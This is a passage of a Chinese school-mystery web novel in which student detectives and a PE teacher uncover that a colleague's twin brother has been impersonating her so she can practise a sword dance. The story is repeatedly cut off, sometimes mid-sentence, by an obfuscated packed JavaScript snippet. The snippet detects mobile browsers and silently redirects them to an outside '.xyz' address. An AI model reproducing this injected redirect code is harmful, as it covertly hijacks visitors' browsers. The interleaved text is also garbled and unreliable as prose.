夜幕笼罩下,我、艾怡芊、谭深和栗依雏走在空旷的校园内。
“那么,今天的案子就算告一段落了吧。”我在模糊的泪眼中打了个哈欠。
“还没呢,”谭深突然在前面停下,“其实,还有一个可爱的小案子。”
他停在了图书馆前——也是杂草地右侧入口前。
“这里闹鬼哦,还记得吗?”他微笑着看向草丛中的一片漆黑。
一声微弱但清晰的哀鸣响起。
……
不会吧?
“呃……我还以为是假的呢——你要干什么?”我紧张地冲走向杂草地的谭深喊。一旁的栗依雏看上去很恐慌。
“捉鬼。”他头也不回地答道。
“喂——等一下!我也要去!”我朝谭深追去,艾怡芊在我身后也跟来了。
风吹过杂草丛,响起一阵令人不安的“呼呼”声。谭深站在草地里,望向图书馆一楼与二楼间翘起的古风屋檐。黑暗中,他的脸上似乎带了些笑意。
屋檐的阴影之下,有好几双绿莹莹的眼睛——
“猫猫!”我惊喜地叫起来。谭深走向在墙角边畏畏缩缩的栗依雏。
“如果要探险,也应该像这样在晚上进行,所以你之前来这里根本不是为了探险吧,栗同学。”他轻笑着,“书包里的食物,是打算喂猫,对吧?”
“呃……没错……”栗依雏在胸前绞着双手,一脸心虚,“请……请不要告诉老师。学校不允许喂养动物,而它又刚刚生了孩子……”
“放心啦,我不会说的。我只不过是一个热衷于破案的好奇侦探罢了。”谭深摆了摆手,“闹鬼的传说就让它一直传说下去吧。”
“对了,你带护身符不会就是为了这个吧,艾怡芊?”我突然回想起来,“难道说……”
我惊奇地指着他:“你怕鬼?”
“没有这回事。”艾怡芊一口否决,但眼神有些躲闪。
“哦?”我扬起嘴角,凑上前去,“那你没事干嘛带护身符?以前也没见你带啊?”
“……”艾怡芊看上去有些不安。谭深在他身后眯起眼睛。
“……你说是就是吧。”他妥协了。
“原来如此啊!”我开心极了,“我以前那三年怎么就没发现呢?让我看看你的护身——”
“对了,报酬。”谭深打断了我,“你还没给委托的报酬呢。”
栗依雏似乎在一旁看戏看得很开心。
“啊?还要报酬?我还以为你是志愿侦探呢。”我开始担心他像某高中生宅男侦探一样漫天要价,“我帮你洗脱了嫌疑能算报酬吗?”
“要是没有你的委托,我今天都不会出现在这里并背上嫌疑。”他看着我为难的表情叹了口气,“……算了算了,看在你是第一个委托者的份上,我就不要报酬了……”
“……但是?”我看出来他还有话。
“但是我有一个要求。”谭深笑了笑。
因为被勒住脖子的时间较短,且秦沄力气不是很大,李翼并无生命危险。据谭深不知从哪得来的消息,其实他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063870|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚送上救护车就醒过来了,但他一直支支吾吾,不肯说是谁干的——那是当然啦。这也是校方没有第一时间通知警方,而是选择先压在内部处理的原因——可真够大胆的。
虽然如此,李翼再没有回来,秦沄也从学校里消失了。关于这两件事,校方没有公布原因。
我和艾怡芊都加入了谭深的推理社兼侦探团——这就是谭深的要求。据他的说法,他不想一个人守着他的活动室空巢。
“话说,要不要给我们侦探团起个名字?”
我坐在满满一堆推理小说后面,敲了敲桌子提议。
“少年侦探团?”谭深笑着说。
“十五岁就是青年了吧……”艾怡芊略显无语。
“不仅侦探团要起名字,推理社也要啊……”我捂住额头,心烦地叹了口气。
“没关系没关系,这是社长要操心的事,你们只需要……”
谭深拿出一堆社团招新宣传单。
“把这些东西贴满全校就好啦。”
“对不起我刚想起来今天要去复活侦探小说女王。”
活动室的门把手一下子出现在了我手心中。
呼——总而言之,所有的案件都告一段落了。而我杜苓瑛,也在案件侦破过程中小试身手,磨砺了自己。
所以说我果然是个天才侦探嘛!
嗯,这也算是个不错的结局啦。
……大概。
(《未曾设想的工具》完)
(下章预告:人能同时在两个地方出现吗?来自美女老师的诡异谜题。事情的真相,似乎牵扯到了一桩更加细思极恐的案件……)
6. (1)镜面异象
现在,是晚上十点二十分,离熄灯时间只剩下十分钟了。梅屡望走下教师宿舍楼,大步朝学生宿舍走去,打算去催促还未做好就寝准备的学生。
走在两排树木中间,凉爽的晚风迎面扑来,可她却不知为何感到昏昏沉沉,一股睡意挥之不去。
可能是最近熬夜刷同人文的次数太多了……
梅屡望正这样愧疚地想着,忽然瞥见远处有一个熟悉的身影,正匆匆走向教师宿舍的方向——
是檀惠莲。
檀惠莲身侧,围墙顶部种满的三角梅已然盛开——这是梅屡望最喜欢的花。纤长的花枝向外蔓延开来,似一位趴在墙上的少女向下伸出手,将一抹梅红色擦过檀惠莲急掠的发髻。
都这么晚了,她之前上哪去了?以往这位作息健康的家伙不是很早就回宿舍了吗?
望着檀惠莲逐渐远去的背影,梅屡望有些疑惑。一股说不清道不明的奇怪感,包住了她的心。
就在这时,她望见本应漆黑一片的艺术楼中,一点灯光正亮着。
是哪个家伙脑子缺根筋?临走时连灯都不会关?!
梅屡望恼火地在心中咒骂着,一个转身,迅速冲上了艺术楼西梯。
灯光亮起的地方,是五楼的舞蹈室。梅屡望忍着头昏,在愤恨中一连爬过四段楼梯。
一上五楼,她瞬间感到四周的空气好像低了几度。黑暗中,灯光从舞蹈室内泄出,在走廊上投下惨白的光晕。
这阴森的气氛,让梅屡望不由得想到了某书中那座不存在的某疗养院。
她心间蹭地泛起一丝紧张。
某人在录像带上看到与自己一模一样的人在疗养院地上爬,她该不会也将看到……
梅屡望啊梅屡望,你可真是看书看魔怔了,别想这些乱七八糟的了。
她在昏沉中自嘲地摇了摇头,并拍了几下脸,努力让自己从昏沉中清醒过来。
理顺思绪后,梅屡望伸出手,正欲推门进去关灯。
而在这时,她却透过门上的玻璃小窗,看见舞蹈室内有一个不可能的熟悉身影。
不是爬着的某人,更不是她自己,而是……
檀惠莲?!
梅屡望顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063871|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时瞪大了眼睛,伸在半空中的手缩了回来。
怎么可能呢?她刚刚不是朝教师宿舍去了吗?
微寒中,梅屡望连呼吸都蔽住了。
室内的檀惠莲背对门默立,服装与梅屡望路上碰见的那位“檀惠莲”并无异处。
而在檀惠莲白皙的手中,被紧紧握着的——
是一柄闪着寒光的剑!
伴随着颅内逐渐变大的心跳声,梅屡望攥紧的手心浸满了汗水。身后的黑暗似乎一下子拥挤了过来,把她压得喘不过气
梅屡望做了几个深呼吸,目光颤抖着,从那柄银剑,移向舞蹈室墙面的镜子,最后落到了檀惠莲的镜像。
熟悉得不能再熟悉的脸上,没有半点表情,镜中一脸惊恐的梅屡望似乎还未被她所注意。
而那双柳叶眼里闪烁的光——
寒冷似冰。
梅屡望顿时寒毛倒竖,不由自主地往后倒退了一步。
而就在此刻,又一阵晕沉像海浪般袭来,狠狠地向她的大脑撞击过去……
猝不及防地,梅屡望坠入了黑暗。
7. (2)重返会议室
“哔——哔——摆臂!腿抬高点——说你呢杜苓瑛,别摸鱼了!”
我一边吃力地做着高抬腿,一边暗戳戳地瞟着体育老师,希望不停吹哨的她能转过头去。
不知为什么,她几乎整节课都在盯着我。不过艾怡芊这家伙刚才又跟我抱怨,说体育老师一直盯着的明明是他自己。
“当——当——当——当——”“全体都有,停!”谢天谢地,总算下课了。
“好了,”梅老师插起腰,微笑着看向面前气喘吁吁的一班人,“解散吧!”
我正想同其他欢呼着的同学一起离开,她突然转过头,冲我们喊——
“杜苓瑛,艾怡芊,你们两个过来一下。”
啊?不会要加练吧?
我惊恐地想着各种该死的Tabata,和艾怡芊一起走回她面前。
梅老师看着忐忑不安的我们两个,插起腰,露出在我看来不怀好意的笑容。
“你们两个……”
留下来加练!
我的心跳漏了一拍,差点错过了她真正说出口的话——
“……第五节下课后立刻来会议室找我。”
怎么又是会议室啊?肯定没什么好事。我和艾怡芊不安地对视了一眼。
“要~快~哦~”她笑吟吟地补充。
梅老师,梅屡望,是我们班的体育老师,也是高一级的级长。
她的自我介绍很有特色:“高一(6)班的同学们,幸会,幸会,鄙姓梅。”让人不由得想起某个油腻(?)的秃子。
她身高大约一米六出头,不到三十岁,单身,却有着走在大街上会引来频频回头的美貌。所以不知道是哪一届的学生,给她起了个谐音绰号——“美女王”。她知道后很高兴,并让学生们把这个绰号延续了下来。
不过,也有忍受不了她的魔鬼训练的学生,对这个绰号稍稍加了一些改动,叫她“魔女王”。
当然啦,如果你不想承受生命危险,最好不要在她面前提起这个新绰号——魔女王可是跆拳道黑带。
美女王虽然有着一张好看的脸,但她的性格十分大大咧咧。不少人怀疑她单身的原因和这一点有关,可至今没人敢去问这位黑带魔女。
美女王让我们去会议室干什么呢?我思索着,第五节课的政治一个字也没流进耳朵里——不过这其实跟我思不思索没关系。
一下课,我便和艾怡芊交换了一个眼神,拿出共赴刑场的心态,走上了重返会议室的路。
……但愿魔女王别把我的午餐时间拆吃入腹。
我们走进会议室后,发现里面已经坐了一个人。不是梅屡望,而是——
“社长大人怎么也在这?”我有些意外。
“美女王叫我来的。”谭深笑着回答,往椅背上一靠,“你们两位也是吗?”
这时,我注意到谭深面前的会议桌上,铺着一大块塑料布,塑料布上还有一个圆形物件——
“这里为什么有个煲垫?”我疑惑。
谭深耸了耸肩:“你们还是先坐下来吧。我想,答案应该很快就会揭晓了。”
我和艾怡芊刚在谭深旁边坐下——我坐在他俩中间,因为我想艾怡芊大概还对叫了他三次犯人的谭深怀有成见——会议室的门就又一次打开了,梅屡望出现在门口。
“久等了——”她满脸笑容,带着隔热手套的左手正托着一个煲,右手臂还挂着一个袋子。
梅屡望进来后,把袋子往桌子上一搁,又把煲放在了煲垫上。接着,她愉快地打开袋子,从里面拿出——
四个塑料碗,四对一次性筷子,以及一个舀饭勺?!
这是在干什么?我愣住了。
“锵锵!”她把煲盖提起,一股浓香霎时扑面而来,煲里面竟盛满——
“麻婆豆腐拌饭,本女王做的!”她得意洋洋地说。
看来我不用担心午餐的事了。
我还发着愣,三碗麻婆豆腐拌饭已经被分别推到了我们仨面前。
“吃吧,”梅屡望豪爽地朝那三个碗一挥手,“我请客!”
“欸,为什么?”谭深是我们三人中唯一一个有勇气发问的,“天下可没有白掉的馅饼。”
呃……好像有勇气过头了,这叫缺德。
“哎呀,先吃了再说嘛,谭深同学。”梅屡望抱起手臂,在我们对面坐下来,“吃光,吃光!”
我顿时感觉到了一□□骗之意,不由得暗暗认同谭深缺德的话。可美女王那张似乎暗藏杀机的笑脸,让我觉得不吃的话大概会被她一拳打来。
……何况,麻婆豆腐的香气实在是太诱人了。
我们三个立刻向眼前的食物发起了进攻。
“对了,你们仨之前是不是共同解决了那起李翼被勒案?”
一片狼吞虎咽声中——可恶,这麻婆豆腐拌饭竟该死地美味——梅屡望一边吃一边发问。
“我听何主任说的。”
……这消息怎么传那么开?何俊轩最好只告诉了美女王一个人。
“李翼所在的高二年级中,纪级长出差去了,田级长那天又请假提前走了——话说他最近请假挺频繁的。”梅屡望继续说着,“幸好有你们三个破案啊,不然何主任一个人可忙不过来。”
她欣慰地冲我们一笑。
“才不是呢,这家伙根本没出力。”艾怡芊咽下嘴里的食物,指了指谭深——看来我坐在他俩中间是正确的选择。
“话可不能这么说。”谭深振振有词地反驳,“我不仅提供了关键信息,还在之前的偷拍案中起到了不小的作用。”
“总之,你们都在推理社里吧。”梅屡望没理会我们的内讧,“我听说推理社可以接受侦探委托?”
呵呵,馅饼果然不是白掉的。
“那么,我有事要委托你们调查。”她按住桌子,微微倾过身来。
梅屡望向我们讲述了那个诡异的故事。
“……艾、怡、芊。”
我板着脸,警告死死抓住我的脸色煞白的艾怡芊,早知道就应该让他和谭深坐一起。
“这种小事,您直接去问问檀老师本人不就好了?何必要委托我们呢?”深哥啊,送上门的委托你还要赶回去吗?
“这怎么能行,万一真是什么不能为人知的事情呢?”梅屡望立刻否决了谭深的提议。
接着,她皱了皱眉,又压低声音补充道:
“再说了,最近学校好像真的有些异常现象。听好多住宿舍的老师说,他们半夜起来,都看到窗外的后山上有隐隐幽光闪烁……”
我的肩膀真的很疼。
正当我考虑是继续用手推,还是直接一脚踹开艾怡芊的椅子时,表情阴森的梅屡望突然一下子笑了出来。
“哎呀哎呀,别那么紧张,只是开个玩笑啦。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063872|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她一边笑着喘气,一边缓解这紧张的气氛。
“那点幽光,大概只是那个混蛋的手电筒光啦——啊,谭深同学应该知道这件事吧?”梅屡望朝谭深看了眼,“最近高一(3)班的监控烂掉了。没过多久,教师宿舍那边的监控也故障了。而在这两个地方,田级长都在监控附近的地上发现了好几块石头。”
她的语气逐渐变得严肃。
“因为无论是三班还是教师宿舍,都离后山靠得很近。所以,我们就估计是哪个混蛋闲得蛋——闲得慌!”
她慌忙改掉脏话,我也假装没听见。
“……在后山用弹弓干的。但愿在市□□射击大赛上得过奖的田级长能找机会吓唬那混蛋几下。”
梅屡望眯起一只眼睛,比出射击的手势,朝想象中的那个混蛋开了好几枪。
“什么嘛,不要突然拿无关的事情吓人啊……”艾怡芊小声嘀咕着,总算放开了我被抓得生疼的肩膀。
“不过嘛,我最近确实发现小莲有点不对劲。”
梅屡望讲完闲事后,又重新严肃了起来。
“我和她都在级组办公室里,位置相邻。我知道,她以往和其他老师一样,在晚自习期间随时接受答疑,可从这个学期开始,她只接受在第一节晚自习时的答疑了。”
她仰倒在椅背上,苦恼地将一缕头发在指尖揉搓着。
“此外,小莲最近变得异常沉默。虽然她本来就是个不怎么爱说话的人,可只要我对她发起话头,她是一定会接话的。但这几天晚上,她几乎都是在敷衍我的话,我也不敢去问她为什么这样。莫非……”
梅屡望突然变得神秘兮兮。
“我看见的持剑小莲,是借用某长白山神秘力量穿越回来的小莲?而办公室小莲异常,是因为同源共振?”
我们仨无语地望着魔怔的梅屡望。
什么鬼啊,看正文看得起劲就算了,竟然对同人文也这么走火入魔。
小莲,就是檀惠莲,学校的高一级语文老师,也是高一(7)班的班主任。
她比梅屡望略高几厘米。除了平时讲课,檀惠莲十分寡言,浑身上下散发着一阵清冷的气质,颇给人“可远观而不可亵玩”的感觉。她有着过腰的长发,头顶上的发髻总是插着个莲花玉簪,左嘴角处有一颗痣。
“那好吧,报酬呢?我们可是要收委托费的——各种形式上的都可以。”
谭深难得地一本正经,看来这人果然跟某高中生宅男侦探一样,是个利益至上者。
“之前因为是第一次委托,我才没收杜苓瑛费用。”
对,你确实没有,你只是想骗我给你贴招新宣传单而已。
“喏!”梅屡望朝我们面前的三个空碗努了努嘴,“已经付了。”
谭深似乎在竭力控制自己不要翻眼睛。
“好吧,”我舔了舔嘴唇——麻婆豆腐真好吃,“那接下来就包在我们侦探团身上!”
“……不要擅自替社长做决定啊。”谭深无力地吐出这句话,“不过,好像除了接下委托以外,我也没有别的选择了——下次我一定得先问清楚再吃委托人的食物。”
“那就拜托你们啦,”诡计得逞的梅屡望开心地笑着,“杜尔摩斯和艾生。”
“那我呢?”谭深卑微地指了指自己。
“艾琳·谭德勒。”我不假思索。
“……算了,这也不错。”
8. (3)细思极恐!
“好了,别吵了。”
艾生捂了捂额头,率先开始办正事。
“对了,梅老师,您该不会……”他轻咳一声,“在那晕了一个晚上吧?”
“没错,就是这样。”梅屡望讪笑着,掩饰尴尬般移开目光。
呃……真能晕。
我忍不住在心中如是吐槽,然后也开始提问:“梅老师,您确定舞蹈室里的檀老师,和您在途中遇见的檀老师是同一个人吗?”
“唔……这我不敢肯定,不过她们确实有不同且异常的地方。”梅屡望又开始搓捻起她的那缕头发——看来这是她思考时的惯性动作,“她们都没有戴玉簪,舞蹈室中的小莲还扎起了高马尾。”
“既然她扎了高马尾,那您是怎么一眼认出来的?”谭深有一下没一下地敲着桌子,懒洋洋地加入对话。
“虽然离得有点远,但那张脸我也绝对不会看错。”梅屡望一脸肯定。
可随后,她又犹疑地皱起眉,抿了抿嘴唇。
“……但是,她又给我一种说不上来的奇怪感觉……最近的小莲很多时候都会给我这种感觉……是什么呢?”她努力寻找着合适的形容,“她就像……”
梅屡望突然一副恍然大悟的样子:“她就像是被某神秘秦岭力量变出来的一样!”
我们三人再次交换了个无奈的眼神。
“总——总之,”艾怡芊决定略过刚才那句话,“不对劲的那个檀老师是途中的檀老师咯。”
“是这样的,艾同学。”梅屡望认可地看了他一眼。
“那您觉得,她有可能趁您爬楼梯的那段时间,从另一边的楼梯——也就是东梯,先一步跑上五楼,成了您在舞蹈室里看到的那个檀老师吗?”
“不可能,”艾怡芊话音刚落,梅屡望就斩钉截铁地否决,“我的速度已经很快了。所以我觉得这两个小莲不可能是同一个人。”
“那这个疑点先搁一搁,”艾怡芊摆摆手,“我们来讨论下一个疑点——晕倒。”
“该不会吓晕了吧……谭深的尬笑没有尬,只有贱。
“才不是呢!我是这么胆小的人吗?”梅屡望瞪了他一眼,“再说,就算是吓晕,也没有可能会晕一个晚上。而且我之前就已经觉得头昏昏沉沉了——等等!难道……”
她睁大双眼:“难道有人给我下了药?”
“不排除这种可能。”谭深竟点了点头。
“你在想什么?谁会去给她下药啊?”我不可思议地质问谭深。
“我看起来就那么不值得被人下药吗?!”
“当、当然不是啦……”面对凶巴巴的梅屡望,我迅速改口,“我的意思是……谁会有机会给您下药?”
“……您晕倒前一个小时有吃什么东西吗?”艾怡芊默默打圆场。
“我什么都没吃……”梅屡望低头回忆,接着突然浑身一颤,“啊!”
她猛地捂住嘴,满脸震惊:
“我喝了茶——茶包是小莲给我的。”
“所以……是小莲给我下了药?”
梅屡望还是一脸不敢相信,随后她立即摇了摇头。
“不,不可能,她没理由这么做——她怎么能预料到我刚好会撞见两个她?再说了,如果不想被我看见另一个她,随便找个理由把我支开不是更好吗?假如她真是有预谋地想害我,那她等我昏倒后直接一剑刺过来不就得了?可我在那好好地躺到了天亮啊!”
“对哦,为什么檀老师没有发现晕倒在门前的梅老师呢?”听完梅屡望这一大串质疑,我突然意识到这一点。
“有没有一种可能,”艾怡芊悠悠地说,“她从舞蹈室另一侧的门出去,顺着东梯离开了——我们刚刚不才讨论过她从东梯绕上来的可能性吗?”
“行——行了!我只是一时忘了而已!”我竭力辩解,试图掩饰自己的失误,“不过,檀老师也有可能确实看见了,但却什么都没做。看来这里暂时不能理清,我们还是回到上一个疑点吧——下药。”
我抬头问梅屡望:“檀老师给您的茶包有什么异常吗?”
“它看上去挺正常啊。”梅屡望耸耸肩,“茶叶包在纱袋里,纱袋包在独立包装袋里,独立包装袋上还贴着正规的商标贴纸。重点是没有开封痕迹。”
说完,她无可奈何地一摊双手。
“相比于这个,我觉得小莲出现在舞蹈室这件事更异常。大晚上的,拿着把剑,不知道的还以为她是职业杀手呢。”
“难不成她是在练舞吗?”我随口一扯。
“……欸?杜苓瑛你别说,还真有可能!”
听了这话,梅屡望双手拍向桌子,眼中放光。
“我一上去感受到的那股寒气,可能就是舞蹈室的空调冷气。而小莲扎起高马尾,拿着剑,没准真是在练习舞剑!她学过剑术!”
“不对啊?”正当我们三个震惊于这一真相时,她眉头一皱,手指又不由自主地缠绕起头发,自己开始了质疑,“既然只是练习舞剑,没必要给我下药啊……而且她无缘无故地干嘛要练舞?”
“这些我们还是轮到之后再去探究吧,”谭深打了个大大的哈欠,“我要去午休了,告辞。”
说完,他起身就走,速度不亚于他试图从何级那溜走那次。
梅屡望无可奈何望着他离去的背影,又转头看了看词穷的我俩,叹了口气。
“算了,”美女王慷慨地把手一挥,“你们第一节晚修下课后再来找我吧。”
我去,总算洗干净了!!!
梅屡望双手撑住洗手台,瞪眼望向镜中瞪着自己的自己。
早知道我就请奶茶算了。她这样想着,把那一个湿漉漉煲的扔回袋里,又想起自己昨天晚上用来泡茶的水壶还没洗,不得不重新打开水龙头,冲走壶中的一点茶叶渣,并再次在心中抱怨了八百句话。
走在去往教师宿舍的路上,一抬眼,那片三角梅便撞入眼帘,使梅屡望疲惫的心中顿时涌入一股灿烂。她不由得向那走去。
正午阳光透过盛放的花帘撒下,给红瓣绿叶镶上淡淡的金边。梅屡望贴着围墙缓步向前,眯起眼睛惬意享受夏日余晖。
蓦地,同样的花景——但却是在夜色中的花景,又一次浮现在她眼前,与此刻的午时明媚重合。她不由得一怔,心中似劈过一道闪电。
梅屡望慢慢抬起头,向上方的点点梅红伸出手——
直到将手腕举过头,她的指尖才传来花瓣的触感。
“对了,两位亲爱的社员。”
第一节晚自习的下课铃打响后,我和艾怡芊走在去往五楼会议室的路上,半路正好撞见谭深。
“你们要是有空,就按照我上次说的那样,把我放在活动室里那沓社团招新宣传单,全都订到公告栏那。不然……”
他苦笑着看向眼神游移的我。
“这个只有三人参与的不干正事社团,很快就会面临被取缔的危险。”
“你不是之前就把那些东西订满整个学校了吗?”艾怡芊扬起眉毛质疑,“连初中部都订了。”
“本来是这样的。”谭深幽怨地叹了口气,“但现在,学校要张贴艺术节海报,我的宣传单便同布告栏上那些陈年旧纸一样,统统都被撤下来了——早知道我就应该晚几天再订。”
他的话语中多了一丝愤恨。
“咱们侦探团可真是生不逢时啊。”我倍感悲凉。
“说起侦探团,你们想好合适的名字了吗?”谭深冷不丁地发出灵魂拷问。
令人窒息的沉默。
“唉,”他叹着气摇头,“要不还是听我这个社长的,叫‘少年侦探团’算了。”
“才不要呢!”我立刻高声反对。
“要不我们去问问别人的意见,”艾怡芊提议,“或许美女王可以——”
他话还没说完,与我们还隔了几米的会议室大门猛地打开,梅屡望神气十足地站在门后。
“你们三个总算来了,”她似乎有些不悦,不过很快又兴奋起来,“告诉你们吧,我已经知道真相了!”
什么?我大吃一惊。难道我们三个真成少年侦探团白给三人组了?
她看着哑口无言的我们,神秘一笑。
“到时候,就见证奇迹吧!”
八点二十分,第二节晚自习铃声响起。我们仨按照美女王的吩咐,和她一同躲在高一级组办公室附近的楼梯口两侧。
什么啊?结果我们是来当跟班的,根本就没有什么表现推理才华的机会嘛!这碗麻婆豆腐拌饭换的真亏。快要挤爆脑子的疑惑之余,我愤恨地在心中嘀咕。
更令人气恼的是,梅屡望明明知道真相,却一个字都不肯透露,一副高深莫测、势在必得的样子,我看推理小说时最讨厌这种谜语人了。
我正暗暗埋怨着这个魔女王,突然注意到,在楼梯口另一侧,一直暗中观察的她猛地缩回头来,冲我们招招手,做了个“预备”的手势。我赶紧收起思绪,做好准备。
“三——二——”她用口型指挥着,“一!”
随着这个指令,我们三人一起冲到楼梯底部,封住退路,将出现的那人堵在了楼梯上。而梅屡望则气势汹汹地站到楼梯口正中央,双手插起腰。
“呔——何方妖孽,竟敢冒充我们家小莲?!”
她居高临下地望着眼前之人。
“你在办公室坐着时,我没怎么察觉,但是——”
她顿了顿,加重语气:“昨晚你走在外面时,头顶碰到三角梅了吧?我的眼睛就是尺,就算是最低的那朵三角梅,也比我高出十厘米有多,而小莲只比我高了几厘米而已,你这个冒牌货!”
梅屡望面前,檀惠莲——一米七五的檀惠莲——无奈地立在原
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063873|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地。
“美女王啊,您说错了。”那人说话了——竟是低沉的男声?!“檀惠莲不是您家的,也不是谁家的,是我家的。”
啊?女装癖?亚森·罗宾?!
虽说那套衣服只是普通的中性装,但我还是接收到了巨大的感官冲击,大脑瞬间融成一滩浆糊。而在我身旁的另外两人也好不到哪去。
“好了,到底是怎么回事?”梅屡望收敛起她得意的笑容,冷冷瞪着他,“给我从实招来,你这个蹩脚的某某客!”
“我真搞不懂,你为什么这么讨厌他呢?”那人带着笑意说,“他可是我在整个系列中最喜欢的角色啊。”
话音刚落,那人伸手摸向头顶,摘下假发。接着,男版的檀惠莲朝呆若木鸡的我们三个转过头来,抹掉了左嘴角的痣,又擦出了左眼角格外明显的泪痣。
“你们好,我自我介绍一下。”他眸中含笑,“我叫檀惠竹,是她家小莲的龙凤胎哥哥。同时我也是个作家,笔名君子竹。”
“君子竹?”我一惊,“那个推理小说家?”
“正是在下,你要签名吗?”檀惠竹像变魔术般掏出纸和笔。
“我拒绝——”我无法抑制自己脸上的嫌弃,“你最新的那本《迷宫》,通篇用叙诡去掩盖作案手法的简陋。我就说怎么找不到符合凶手特征的人,原来你在玩无聊的文字游戏!”
“因为我没实力嘛。”檀惠竹沮丧地把笔和纸收了回去,“编辑催得紧,我只能随便凑篇稿了。”
“行了行了,闲聊到此为止!”被无视了的梅屡望快步冲到檀惠竹跟前,“你这家伙刚刚打扮成那副样子,是在玩什么鬼把戏?镜像阴谋吗?”
“呃……这个嘛……”檀惠竹移开目光,“说来话长……”
“给我长话短说!!!”梅屡望瞪了他一眼。
檀惠竹轻轻叹了口气:“我建议你们直接去问我那个傻妹妹。”
“问就问!”梅屡望斗志昂扬,朝全程看戏的我们仨一招手,“保镖团,走!”
她率先冲上了楼梯,留下还没从震惊中缓过神的我们仨。
……所以委托的实际内容是给魔女王增加气势吗?
五楼,舞蹈室门口。
一出楼梯口,我们就听到了隐隐乐声。舞蹈室门上的小窗内,一个身影正在持剑起舞。银白的光点在剑锋跃动,映入她冰冷的眸子。剑起剑落,她的长马尾飒然飘动,似乎还有猎猎风声随之漾起。
“还真是在练舞啊……”我目瞪口呆。
“……有人生在白云山中,刀刀猎风……”梅屡望也是一脸震惊,喃喃地哼着应景的歌词。
这时,舞剑者的目光在镜中一怔——她看见了门后瞠目结舌的我们一行人。
乐声戛然而止,门随后被打开。
“……”檀惠莲似乎比我们更加不知所措。她望着我们,脸上泛起红晕——似乎不是刚才练舞所导致。
最后,还是梅屡望打破了沉默。
只听她艰难地说:“……你才是真正的……檀惠莲。”
我的白眼翻到了小脑里。这家伙看书魔怔就算了,怎么刷剧也魔怔了,纯纯魔女王。
“什么?!”梅屡望瞪圆了眼睛,“你要去参加学校艺术节汇演?!!”
“是啊,但……”檀惠莲的目光躲闪着,“我没什么时间练嘛。”
“所以你就让他扮成你的样子,坐在办公室里当个摆件?”梅屡望不敢相信地指了指檀惠竹,“然后你就在上班时间偷溜到舞蹈室练习?!”
“正是这样。”檀惠竹一边对着镜子戴耳钉,一边替檀惠莲回答道,“晚自习结束后,我就会去舞蹈室把发簪还给她。你昨天在路上看见的,就是从舞蹈室奉命去教师宿舍提前开空调的我。”
他语气中的无奈感越来越重。
“我之所以要答应她这个匪夷所思的扮装请求,是因为我刚好在构思一部以高中校园为舞台的作品。为了实地考察,我才勉为其难接了这活。”
“‘勉为其难’?”
檀惠莲挑起眉,露出一个满是怀疑的微笑。
“你答应时不是满脸高兴吗?说什么……”
她捏住下巴,不紧不慢地回忆着。
“……‘终于能有正当理由伪装异性了,这可是无比宝贵的素材、万分难得的经验啊!其实这么好玩的事我早就想试试了,可一直没有合适的机会’……你当时不是这样说的吗?”
好家伙,实力坑哥。
梅屡望用一种复杂的目光看向檀惠竹,后者试图摆出一副“一切皆是为了工作,为了推理文学的艺术”的表情。
“唉,好啦好啦,言归正传。”梅屡望揉了揉眉心,略带疲惫地叹了口气,“我有件事要和你说一下——”
她抬眼望向檀惠莲:
“你今晚可能会有危险。”
9. (4)挑茶斡刺
——
午夜,万籁俱寂。
远处,校园汽灯的光晕透过门上小窗,于教师宿舍的黑暗中掠过。光线倾洒着,在被褥上映出一片雪白色,格外明亮。
这块静止不动的光斑,如同夜色纯黑瞳孔旁的一抹眼白,正带着傲蔑,静观四周的一切。此刻,它似乎与无处不在的黑暗一起,默默等待着某个事件的到来。
在那片洁白中,传来檀惠莲均匀的呼吸声。
——
“什么意思?”
面对梅屡望这句不知所云的话,檀惠莲不解地偏了偏头。
“这是你的死亡威胁?”
“不是啦!”梅屡望急忙大叫着否认,然后摆出一副心累老母亲的样子。
“我说你啊,嗜茶如命就算了,怎么还能嗜出规律啊?”
她一边说着,一边扶住额头,一副拿檀惠莲不知如何是好的样子。
